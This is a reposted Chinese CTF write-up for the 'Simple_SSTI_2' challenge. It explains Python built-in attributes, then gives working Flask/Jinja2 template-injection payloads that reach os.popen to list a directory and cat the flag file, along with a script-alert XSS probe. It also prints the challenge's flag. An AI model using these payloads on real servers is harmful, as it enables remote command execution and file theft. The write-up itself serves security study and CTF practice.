0


Simple_SSTI_2

Simple_SSTI_2


前言

要想做到这个题,先要了解SSTI_2模板注入详解


一、python类的内置属性

先看如下一段代码:

classRestaurant:"""类"""def__init__(self, restaurant_name, cuisine_type):
        self.restaurant_name = restaurant_name
        self.cuisine_type = cuisine_type

    defdescribe_restaurant(self):print(f"{self.restaurant_name} -> {self.cuisine_type}")defopen_restaurant(self):print('营业中')

restaurant = Restaurant('7天酒店',100)print(restaurant.__init__)

什么是内置属性如上的__init__就是内置属性,可以这么认为,内置属性就是

__英文字母__

这样格式的字符串

  • class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类
  • init 初始化类,返回的类型是function
  • globals[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
  • os.popen() 方法用于从一个命令打开一个管道。
  • open() 方法用于打开一个文件,并返回文件对象 python内置属性大全

二、解题步骤

1.查看当前目录

?flag ={{ config.__class__.__init__.__globals__['os'].popen('ls ').read()}}

在这里插入图片描述

为什么是这样的了?,为什么这样就可以查看当前目录了?,这又是什么东西?,好,你先输入

?flag = <script>alert(1)</script>

,会出现弹窗,但是这不是反射性xss,也可以说是反射型xss,但是flag不存在前端,反射性xss一般是获取前端数据

  • {{}}:类似于python的f"{变量}"解释变量
  • config.class.init.globals[‘os’]:配置的类的操作系统
  • popen(‘’):系统语句
  • read():读取语句类容

2. 打开flag文件得到flag

在Linux操作系统下,没有后缀的文件当作文本文件处理

?flag ={{ config.__class__.__init__.__globals__['os'].popen('cat flag ').read()}}

在这里插入图片描述

flag:

flag{c77ca5c36d8baa014fa9bd96b8933719} 

标签: python 开发语言

本文转载自: https://blog.csdn.net/qq_53568983/article/details/129313386
版权归原作者 The-Back-Zoom 所有, 如有侵权,请联系我们删除。

“Simple_SSTI_2”的评论:

还没有评论